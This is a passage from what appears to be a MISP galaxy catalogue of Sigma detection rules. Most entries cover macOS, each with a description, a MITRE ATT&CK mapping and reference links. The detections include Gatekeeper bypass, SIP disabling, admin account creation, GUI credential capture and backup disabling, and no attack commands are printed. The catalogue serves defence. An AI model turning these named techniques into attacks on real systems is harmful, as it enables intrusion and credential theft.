SharpHound Recon Sessions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 16939. Table References

Links
https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
https://github.com/zeronetworks/rpcfirewall
https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183
https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml

MacOS Emond Launch Daemon

Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.

The tag is: *misp-galaxy:sigma-rules="MacOS Emond Launch Daemon"*

View relationships graph

MacOS Emond Launch Daemon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Emond - T1546.014" with estimative-language:likelihood-probability="almost-certain"

Table 16940. Table References

Links
https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_emond_launch_daemon.yml

Startup Item File Created - MacOS

Detects the creation of a startup item plist file, that automatically get executed at boot initialization to establish persistence. Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.

The tag is: *misp-galaxy:sigma-rules="Startup Item File Created - MacOS"*

View relationships graph

Startup Item File Created - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Startup Items - T1037.005" with estimative-language:likelihood-probability="almost-certain"

Table 16941. Table References

Links
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_susp_startup_item_created.yml

Gatekeeper Bypass via Xattr

Detects macOS Gatekeeper bypass via xattr utility

The tag is: *misp-galaxy:sigma-rules="Gatekeeper Bypass via Xattr"*

View relationships graph

Gatekeeper Bypass via Xattr has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001" with estimative-language:likelihood-probability="almost-certain"

Table 16942. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/1fed40dc7e48f16ed44dcdd9c73b9222a70cca85/atomics/T1553.001/T1553.001.md
https://www.loobins.io/binaries/xattr/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml

System Integrity Protection (SIP) Disabled

Detects the use of csrutil to disable the Configure System Integrity Protection (SIP). This technique is used in post-exploit scenarios.

The tag is: *misp-galaxy:sigma-rules="System Integrity Protection (SIP) Disabled"*

View relationships graph

System Integrity Protection (SIP) Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

Table 16943. Table References

Links
https://ss64.com/osx/csrutil.html
https://objective-see.org/blog/blog_0x6D.html
https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/
https://www.virustotal.com/gui/file/05a2adb266ec6c0ba9ed176d87d8530e71e845348c13caf9f60049760c312cd3/behavior
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml

Potential Discovery Activity Using Find - MacOS

Detects usage of "find" binary in a suspicious manner to perform discovery

The tag is: *misp-galaxy:sigma-rules="Potential Discovery Activity Using Find - MacOS"*

View relationships graph

Potential Discovery Activity Using Find - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 16944. Table References

Links
https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_find_execution.yml

OSACompile Run-Only Execution

Detects potential suspicious run-only executions compiled using OSACompile

The tag is: *misp-galaxy:sigma-rules="OSACompile Run-Only Execution"*

View relationships graph

OSACompile Run-Only Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"

Table 16945. Table References

Links
https://redcanary.com/blog/applescript/
https://ss64.com/osx/osacompile.html
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_osacompile_runonly_execution.yml

System Shutdown/Reboot - MacOs

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.

The tag is: *misp-galaxy:sigma-rules="System Shutdown/Reboot - MacOs"*

View relationships graph

System Shutdown/Reboot - MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 16946. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_shutdown_reboot.yml

JXA In-memory Execution Via OSAScript

Detects possible malicious execution of JXA in-memory via OSAScript

The tag is: *misp-galaxy:sigma-rules="JXA In-memory Execution Via OSAScript"*

View relationships graph

JXA In-memory Execution Via OSAScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 16947. Table References

Links
https://redcanary.com/blog/applescript/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_jxa_in_memory_execution.yml

System Information Discovery Using Ioreg

Detects the use of "ioreg" which will show I/O Kit registry information. This process is used for system information discovery. It has been observed in-the-wild by calling this process directly or using bash and grep to look for specific strings.

The tag is: *misp-galaxy:sigma-rules="System Information Discovery Using Ioreg"*

View relationships graph

System Information Discovery Using Ioreg has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 16948. Table References

Links
https://www.virustotal.com/gui/file/4ffdc72d1ff1ee8228e31691020fc275afd1baee5a985403a71ca8c7bd36e2e4/behavior

https://www.trendmicro.com/en_ph/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html
https://www.virustotal.com/gui/file/5907d59ec1303cfb5c0a0f4aaca3efc0830707d86c732ba6b9e842b5730b95dc/behavior
https://www.virustotal.com/gui/file/0373d78db6c3c0f6f6dcc409821bf89e1ad8c165d6f95c5c80ecdce2219627d7/behavior
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_ioreg_discovery.yml

Potential WizardUpdate Malware Infection

Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.

The tag is: *misp-galaxy:sigma-rules="Potential WizardUpdate Malware Infection"*

Table 16949. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset
https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97
https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml

Network Sniffing - MacOs

Detects the usage of tooling to sniff network traffic. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

The tag is: *misp-galaxy:sigma-rules="Network Sniffing - MacOs"*

View relationships graph

Network Sniffing - MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 16950. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_sniffing.yml

Time Machine Backup Disabled Via Tmutil - MacOS

Detects disabling of Time Machine (Apple's automated backup utility software) via the native macOS backup utility "tmutil". An attacker can use this to prevent backups from occurring.

The tag is: *misp-galaxy:sigma-rules="Time Machine Backup Disabled Via Tmutil - MacOS"*

View relationships graph

Time Machine Backup Disabled Via Tmutil - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 16951. Table References

Links
https://www.loobins.io/binaries/tmutil/
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_tmutil_disable_backup.yml

JAMF MDM Execution

Detects execution of the "jamf" binary to create user accounts and run commands. For example, the binary can be abused by attackers on the system in order to bypass security controls or remove application control polices.

The tag is: *misp-galaxy:sigma-rules="JAMF MDM Execution"*

Table 16952. Table References

Links
https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html
https://github.com/MythicAgents/typhon/
https://www.zoocoup.org/casper/jamf_cheatsheet.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_jamf_usage.yml

User Added To Admin Group Via DseditGroup

Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.

The tag is: *misp-galaxy:sigma-rules="User Added To Admin Group Via DseditGroup"*

View relationships graph

User Added To Admin Group Via DseditGroup has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 16953. Table References

Links
https://ss64.com/osx/dseditgroup.html
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-5---add-a-newexisting-user-to-the-admin-group-using-dseditgroup-utility---macos
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_dseditgroup_add_to_admin_group.yml

Launch Agent/Daemon Execution Via Launchctl

Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS.

The tag is: *misp-galaxy:sigma-rules="Launch Agent/Daemon Execution Via Launchctl"*

View relationships graph

Launch Agent/Daemon Execution Via Launchctl has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"

Table 16954. Table References

Links
https://www.trendmicro.com/en_us/research/18/d/new-macos-backdoor-linked-to-oceanlotus-found.html
https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.001/T1569.001.md
https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/
https://www.loobins.io/binaries/launchctl/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_launchctl_execution.yml

Disk Image Creation Via Hdiutil - MacOS

Detects the execution of the hdiutil utility in order to create a disk image.

The tag is: *misp-galaxy:sigma-rules="Disk Image Creation Via Hdiutil - MacOS"*

Table 16955. Table References

Links
https://www.loobins.io/binaries/hdiutil/
https://www.sentinelone.com/blog/from-the-front-linesunsigned-macos-orat-malware-gambles-for-the-win/
https://ss64.com/mac/hdiutil.html
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml

User Added To Admin Group Via Sysadminctl

Detects attempts to create and add an account to the admin group via "sysadminctl"

The tag is: *misp-galaxy:sigma-rules="User Added To Admin Group Via Sysadminctl"*

View relationships graph

User Added To Admin Group Via Sysadminctl has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 16956. Table References

Links
https://ss64.com/osx/sysadminctl.html
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-3---create-local-account-with-admin-privileges-using-sysadminctl-utility---macos

https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml

GUI Input Capture - macOS

Detects attempts to use system dialog prompts to capture user credentials

The tag is: *misp-galaxy:sigma-rules="GUI Input Capture - macOS"*

View relationships graph

GUI Input Capture - macOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"

Table 16957. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md
https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml

System Information Discovery Using sw_vers

Detects the use of "sw_vers" for system information discovery

The tag is: *misp-galaxy:sigma-rules="System Information Discovery Using sw_vers"*

View relationships graph

System Information Discovery Using sw_vers has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 16958. Table References

Links
https://www.virustotal.com/gui/file/d3fa64f63563fe958b75238742d1e473800cb5f49f5cb79d38d4aa3c93709026/behavior
https://ss64.com/osx/sw_vers.html
https://www.virustotal.com/gui/file/03b71eaceadea05bc0eea5cddecaa05f245126d6b16cfcd0f3ba0442ac58dab3/behavior

https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_swvers_discovery.yml

JAMF MDM Potential Suspicious Child Process

Detects potential suspicious child processes of "jamf". Could be a sign of potential abuse of Jamf as a C2 server as seen by Typhon MythicAgent.

The tag is: *misp-galaxy:sigma-rules="JAMF MDM Potential Suspicious Child Process"*

Table 16959. Table References

Links
https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html
https://github.com/MythicAgents/typhon/
https://www.zoocoup.org/casper/jamf_cheatsheet.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_jamf_susp_child.yml

User Added To Admin Group Via Dscl

Detects attempts to create and add an account to the admin group via "dscl"

The tag is: *misp-galaxy:sigma-rules="User Added To Admin Group Via Dscl"*

View relationships graph

User Added To Admin Group Via Dscl has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 16960. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-2---create-local-account-with-admin-privileges---macos
https://ss64.com/osx/dscl.html
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_dscl_add_user_to_admin_group.yml

Root Account Enable Via Dsenableroot

Detects attempts to enable the root account via "dsenableroot"

The tag is: *misp-galaxy:sigma-rules="Root Account Enable Via Dsenableroot"*

View relationships graph

Root Account Enable Via Dsenableroot has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 16961. Table References

Links
https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/persistence_enable_root_account.toml
https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1078.003/T1078.003.md
https://ss64.com/osx/dsenableroot.html
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_dsenableroot_enable_root_account.yml

Local Groups Discovery - MacOs

Detects enumeration of local system groups

The tag is: *misp-galaxy:sigma-rules="Local Groups Discovery - MacOs"*

View relationships graph

Local Groups Discovery - MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 16962. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_groups.yml

Remote Access Tool - Team Viewer Session Started On MacOS Host

Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - Team Viewer Session Started On MacOS Host"*

View relationships graph

Remote Access Tool - Team Viewer Session Started On MacOS Host has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 16963. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_remote_access_tools_teamviewer_incoming_connection.yml

Suspicious MacOS Firmware Activity

Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.

The tag is: *misp-galaxy:sigma-rules="Suspicious MacOS Firmware Activity"*

Table 16964. Table References

Links
https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml
https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web
https://www.manpagez.com/man/8/firmwarepasswd/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml

Disk Image Mounting Via Hdiutil - MacOS

Detects the execution of the hdiutil utility in order to mount disk images.

The tag is: *misp-galaxy:sigma-rules="Disk Image Mounting Via Hdiutil - MacOS"*

View relationships graph

Disk Image Mounting Via Hdiutil - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 16965. Table References

Links
https://www.loobins.io/binaries/hdiutil/
https://www.sentinelone.com/blog/from-the-front-linesunsigned-macos-orat-malware-gambles-for-the-win/
https://ss64.com/mac/hdiutil.html
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml

Disable Security Tools

Detects disabling security tools

The tag is: *misp-galaxy:sigma-rules="Disable Security Tools"*

View relationships graph

Disable Security Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16966. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml

Screen Capture - macOS

Detects attempts to use screencapture to collect macOS screenshots

The tag is: *misp-galaxy:sigma-rules="Screen Capture - macOS"*

View relationships graph

Screen Capture - macOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 16967. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md
https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml

File Time Attribute Change

Detect file time attribute change to hide new or changes to existing files

The tag is: *misp-galaxy:sigma-rules="File Time Attribute Change"*

View relationships graph

File Time Attribute Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

Table 16968. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml

System Network Discovery - macOS

Detects enumeration of local network configuration

The tag is: *misp-galaxy:sigma-rules="System Network Discovery - macOS"*

View relationships graph

System Network Discovery - macOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 16969. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_system_network_discovery.yml

System Information Discovery Via Sysctl - MacOS

Detects the execution of "sysctl" with specific arguments that have been used by threat actors and malware. It provides system hardware information. This process is primarily used to detect and avoid virtualization and analysis environments.

The tag is: *misp-galaxy:sigma-rules="System Information Discovery Via Sysctl - MacOS"*

View relationships graph

System Information Discovery Via Sysctl - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 16970. Table References

Links
https://evasions.checkpoint.com/techniques/macos.html
https://www.virustotal.com/gui/file/b4b1fc65f87b3dcfa35e2dbe8e0a34ad9d8a400bec332025c0a2e200671038aa/behavior
https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/
https://objective-see.org/blog/blog_0x1E.html
<a href="https://www.loobins.io/binaries/sysctl/<mark>">https://www.loobins.io/binaries/sysctl/</mark>
https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/
https://www.virustotal.com/gui/file/1c547a064494a35d6b5e6b459de183ab2720a22725e082bed6f6629211f7abc1/behavior
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_sysctl_discovery.yml

MacOS Network Service Scanning

Detects enumeration of local or remote network services.

The tag is: *misp-galaxy:sigma-rules="MacOS Network Service Scanning"*

View relationships graph

MacOS Network Service Scanning has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 16971. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml

Binary Padding - MacOS

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.

The tag is: *misp-galaxy:sigma-rules="Binary Padding - MacOS"*

View relationships graph

Binary Padding - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

Table 16972. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md
https://linux.die.net/man/1/truncate
https://linux.die.net/man/1/dd
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_binary_padding.yml

Scheduled Cron Task/Job - MacOs

Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.

The tag is: *misp-galaxy:sigma-rules="Scheduled Cron Task/Job - MacOs"*

View relationships graph

Scheduled Cron Task/Job - MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"

Table 16973. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_schedule_task_job_cron.yml

Split A File Into Pieces

Detection use of the command "split" to split files into parts and possible transfer.

The tag is: *misp-galaxy:sigma-rules="Split A File Into Pieces"*

View relationships graph

Split A File Into Pieces has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

Table 16974. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_split_file_into_pieces.yml

Suspicious Microsoft Office Child Process - MacOS

Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution

The tag is: *misp-galaxy:sigma-rules="Suspicious Microsoft Office Child Process - MacOS"*

View relationships graph

Suspicious Microsoft Office Child Process - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Office Test - T1137.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 16975. Table References

Links
https://redcanary.com/blog/applescript/
https://objective-see.org/blog/blog_0x4B.html
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_office_susp_child_processes.yml

Guest Account Enabled Via Sysadminctl

Detects attempts to enable the guest account using the sysadminctl utility

The tag is: *misp-galaxy:sigma-rules="Guest Account Enabled Via Sysadminctl"*

View relationships graph

Guest Account Enabled Via Sysadminctl has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"

Table 16976. Table References

Links
https://ss64.com/osx/sysadminctl.html
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_enable_guest_account.yml

Macos Remote System Discovery

Detects the enumeration of other remote systems.

The tag is: *misp-galaxy:sigma-rules="Macos Remote System Discovery"*

View relationships graph

Macos Remote System Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 16977. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_remote_system_discovery.yml

MacOS Scripting Interpreter AppleScript

Detects execution of AppleScript of the macOS scripting language AppleScript.

The tag is: *misp-galaxy:sigma-rules="MacOS Scripting Interpreter AppleScript"*

View relationships graph

MacOS Scripting Interpreter AppleScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"

Table 16978. Table References

Links
https://redcanary.com/blog/applescript/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_applescript.yml

Osacompile Execution By Potentially Suspicious Applet/Osascript

Detects potential suspicious applet or osascript executing "osacompile".

The tag is: *misp-galaxy:sigma-rules="Osacompile Execution By Potentially Suspicious Applet/Osascript"*

View relationships graph

Osacompile Execution By Potentially Suspicious Applet/Osascript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"

Table 16979. Table References

Links
https://redcanary.com/blog/mac-application-bundles/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_suspicious_applet_behaviour.yml

System Integrity Protection (SIP) Enumeration

Detects the use of csrutil to view the Configure System Integrity Protection (SIP) status. This technique is used in post-exploit scenarios.

The tag is: *misp-galaxy:sigma-rules="System Integrity Protection (SIP) Enumeration"*

View relationships graph

System Integrity Protection (SIP) Enumeration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

Table 16980. Table References

Links
https://ss64.com/osx/csrutil.html
https://objective-see.org/blog/blog_0x6D.html
https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/
https://www.virustotal.com/gui/file/05a2adb266ec6c0ba9ed176d87d8530e71e845348c13caf9f60049760c312cd3/behavior
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml

Remote Access Tool - Renamed MeshAgent Execution - MacOS

